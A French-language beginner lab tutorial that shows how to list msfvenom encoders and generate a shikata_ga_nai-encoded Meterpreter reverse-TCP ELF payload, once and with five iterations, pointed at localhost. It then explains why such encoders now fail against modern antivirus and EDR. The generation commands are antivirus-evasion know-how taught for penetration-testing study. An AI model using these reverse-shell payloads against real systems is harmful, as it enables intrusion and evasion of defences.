Utiliser les encodeurs pour obfusquer les charges utiles avec msfvenom

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans le domaine de la cybersécurité, l'obfuscation de la charge utile (payload) est une technique essentielle utilisée pour échapper à la détection par les logiciels de sécurité. msfvenom, un outil puissant du Metasploit Framework, est un générateur de charge utile autonome qui peut également être utilisé pour encoder les charges utiles, modifiant leur structure pour éviter la détection basée sur les signatures par les systèmes antivirus (AV).

Un encodeur applique une série de transformations au code original de la charge utile, la rendant illisible pour les analyseurs de signatures simples. Lorsque la charge utile est exécutée, un petit stub décodeur s'exécute en premier, reconstruit la charge utile originale en mémoire, puis lui transfère l'exécution.

Dans ce laboratoire, vous apprendrez les bases de l'utilisation des encodeurs msfvenom. Vous commencerez par lister les encodeurs disponibles, puis sélectionnerez un encodeur populaire pour générer une charge utile encodée, appliquerez plusieurs itérations d'encodage, et enfin discuterez de l'efficacité de cette technique face aux solutions de sécurité modernes.

Lister les encodeurs disponibles avec msfvenom --list encoders

Dans cette étape, vous commencerez par lister tous les encodeurs disponibles dans msfvenom. Cela vous donnera un aperçu des différentes options dont vous disposez pour l'obfuscation des charges utiles.

Tout d'abord, vous devez vous assurer que le Metasploit Framework, qui inclut msfvenom, est installé. Exécutez les commandes suivantes pour mettre à jour votre liste de paquets et l'installer.

sudo apt-get update
sudo apt-get install -y metasploit-framework

Une fois l'installation terminée, vous pouvez lister tous les encodeurs disponibles en utilisant l'option --list encoders avec msfvenom. Cette commande affichera un tableau des encodeurs avec leur rang, leur nom et une brève description. Le rang indique la fiabilité et l'efficacité de l'encodeur, excellent étant le plus élevé.

Exécutez la commande suivante dans votre terminal :

msfvenom --list encoders

Vous verrez une longue liste d'encodeurs disponibles. La sortie sera structurée comme suit, montrant le nom, le rang et la description de chacun.

Framework Encoders [--list encoders]
====================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/sh_char_code              manual     Shell Char Code Substitution Command Encoder
    ...
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    ...
    x64/zutto                     normal     Ruby based x64 encoder

Prenez un moment pour parcourir la liste afin de voir la variété d'encodeurs disponibles pour différentes architectures et objectifs.

Sélectionner un encodeur comme x86/shikata_ga_nai

Dans cette étape, vous découvrirez l'un des encodeurs les plus connus : x86/shikata_ga_nai. Il n'y a pas de commande à exécuter dans cette étape ; l'objectif est de comprendre pourquoi un encodeur spécifique pourrait être choisi.

Dans la liste que vous avez générée à l'étape précédente, vous avez probablement remarqué l'encodeur x86/shikata_ga_nai. Il est célèbre pour plusieurs raisons :

  • Rang : Il a un rang excellent, ce qui signifie qu'il est très fiable et peu susceptible de corrompre la charge utile pendant le processus d'encodage.
  • Polymorphisme : C'est un encodeur polymorphe. Cela signifie qu'il modifie son propre code de décryptage chaque fois qu'il est appliqué. En théorie, cela rend beaucoup plus difficile pour les logiciels antivirus de créer une signature statique pour le stub décodeur.
  • Utilisation étendue : Il a été l'un des encodeurs les plus populaires et par défaut dans Metasploit pendant de nombreuses années, ce qui en fait un exemple classique pour l'apprentissage de l'obfuscation.

Bien que sa popularité ait également conduit à ce qu'il soit fortement identifié par les AV modernes (un sujet que nous aborderons plus tard), il reste un exemple parfait pour démontrer le processus d'encodage. Dans l'étape suivante, vous utiliserez cet encodeur pour obfusquer une charge utile.

Générer une charge utile en utilisant le drapeau -e pour spécifier l'encodeur

Dans cette étape, vous allez générer une charge utile et lui appliquer l'encodeur x86/shikata_ga_nai. Vous utiliserez le drapeau -e pour spécifier l'encodeur choisi.

Créons une simple charge utile Linux reverse TCP. Cette charge utile tentera de se connecter à une adresse IP et un port spécifiés. Nous l'encoderons et la sauvegarderons sous forme de fichier ELF (Executable and Linkable Format), qui est le format binaire standard pour Linux.

La structure de la commande est la suivante : msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>

  • -p : Spécifie la charge utile. Nous utiliserons linux/x86/meterpreter/reverse_tcp.
  • LHOST et LPORT : Options requises par la charge utile pour savoir où se connecter. Nous utiliserons 127.0.0.1 (localhost) pour cet exemple.
  • -e : Spécifie l'encodeur. Nous utiliserons x86/shikata_ga_nai.
  • -f : Spécifie le format de sortie. Nous utiliserons elf.
  • > : Redirige la sortie vers un fichier.

Maintenant, exécutez la commande suivante dans votre terminal pour générer la charge utile encodée et la sauvegarder sous le nom encoded_payload.elf :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf

msfvenom traitera la requête et vous affichera des informations sur la charge utile générée, y compris sa taille finale.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes

Vous avez maintenant créé avec succès un fichier de charge utile encodée nommé encoded_payload.elf dans votre répertoire actuel (~/project). Vous pouvez vérifier sa création avec la commande ls -l.

ls -l
total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf

Utiliser le drapeau -i pour appliquer plusieurs itérations d'encodage

Dans cette étape, vous apprendrez comment appliquer l'encodeur plusieurs fois à la même charge utile en utilisant le drapeau -i pour les itérations. La théorie est que plusieurs couches d'encodage rendront la charge utile encore plus difficile à détecter.

Bien que cela semble efficace, cela présente des inconvénients. Chaque itération d'encodage ajoute un nouveau stub décodeur, ce qui augmente la taille globale de la charge utile. De plus, cela peut parfois créer un motif répétitif que les logiciels de sécurité peuvent détecter.

Appliquons l'encodeur x86/shikata_ga_nai 5 fois à la même charge utile. Nous sauvegarderons cette nouvelle charge utile sous le nom multi_encoded_payload.elf pour la comparer à la précédente.

Utilisez la commande suivante, en ajoutant le drapeau -i 5 :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf

msfvenom va maintenant appliquer l'encodeur cinq fois. Remarquez la sortie, qui montre chaque itération.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes

Maintenant, utilisez ls -l pour comparer les tailles des fichiers des charges utiles encodées une fois et plusieurs fois.

ls -l
total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf

Comme vous pouvez le constater, multi_encoded_payload.elf est significativement plus grand que encoded_payload.elf en raison du processus d'encodage répété.

Discuter de l'efficacité des encodeurs contre les antivirus modernes

Dans cette dernière étape, nous discuterons de l'efficacité réelle des encodeurs de base comme x86/shikata_ga_nai. Cette étape est purement conceptuelle et il n'y a pas de commandes à exécuter.

Bien que les encodeurs aient été autrefois une méthode très efficace pour contourner les antivirus (AV), leur efficacité a considérablement diminué face aux solutions de sécurité modernes comme les antivirus de nouvelle génération (NGAV) et les systèmes de détection et de réponse des points d'extrémité (EDR). Voici pourquoi :

  1. Signature du décodeur : Les fournisseurs de sécurité connaissent le fonctionnement des encodeurs populaires. Le stub décodeur de shikata_ga_nai est, en soi, une signature bien connue. De nombreux produits AV signaleront un fichier simplement parce qu'il contient ce décodeur, indépendamment de la charge utile qu'il tente de décoder. L'application de plus d'itérations (drapeau -i) rend souvent cette signature encore plus évidente.

  2. Analyse heuristique et comportementale : Les antivirus modernes ne se basent pas uniquement sur des signatures statiques. Ils utilisent des heuristiques pour identifier les caractéristiques suspectes (par exemple, un petit programme essayant d'allouer de la mémoire exécutable) et une analyse comportementale pour surveiller ce qu'un programme fait lorsqu'il s'exécute. Une charge utile encodée qui se décode elle-même en mémoire puis tente d'ouvrir un reverse shell est un comportement très suspect qui est facilement détecté.

  3. Sandboxing et émulation : De nombreux produits de sécurité peuvent exécuter un fichier suspect dans un environnement virtuel sécurisé (un sandbox) pour observer son comportement avant qu'il ne s'exécute sur le système réel. Dans le sandbox, l'AV peut laisser la charge utile se décoder elle-même, puis analyser le code malveillant d'origine.

En conclusion, bien que la compréhension des encodeurs msfvenom soit une compétence fondamentale, s'appuyer uniquement sur eux pour l'obfuscation n'est pas une stratégie viable dans les environnements modernes. L'évasion avancée nécessite des techniques plus sophistiquées, telles que la création d'encodeurs personnalisés, l'utilisation de packers et de crypters, et l'emploi de méthodes qui ciblent et contournent spécifiquement les moteurs de détection comportementale.

Résumé

Dans ce laboratoire, vous avez exploré les bases de l'obfuscation de charge utile à l'aide des encodeurs msfvenom.

Vous avez appris à :

  • Lister tous les encodeurs disponibles avec msfvenom --list encoders.
  • Sélectionner et comprendre le but d'un encodeur polymorphique populaire comme x86/shikata_ga_nai.
  • Générer une charge utile encodée à l'aide du drapeau -e.
  • Appliquer plusieurs itérations d'encodage avec le drapeau -i et observer l'impact sur la taille du fichier.
  • Comprendre les limitations des encodeurs de base face aux solutions antivirus et EDR modernes.

Ces connaissances fournissent une base solide pour comprendre la génération de charge utile et le jeu du chat et de la souris entre la détection de logiciels malveillants et l'évasion. Les techniques que vous avez pratiquées sont un point de départ pour explorer des méthodes d'obfuscation plus avancées utilisées dans les tests d'intrusion professionnels.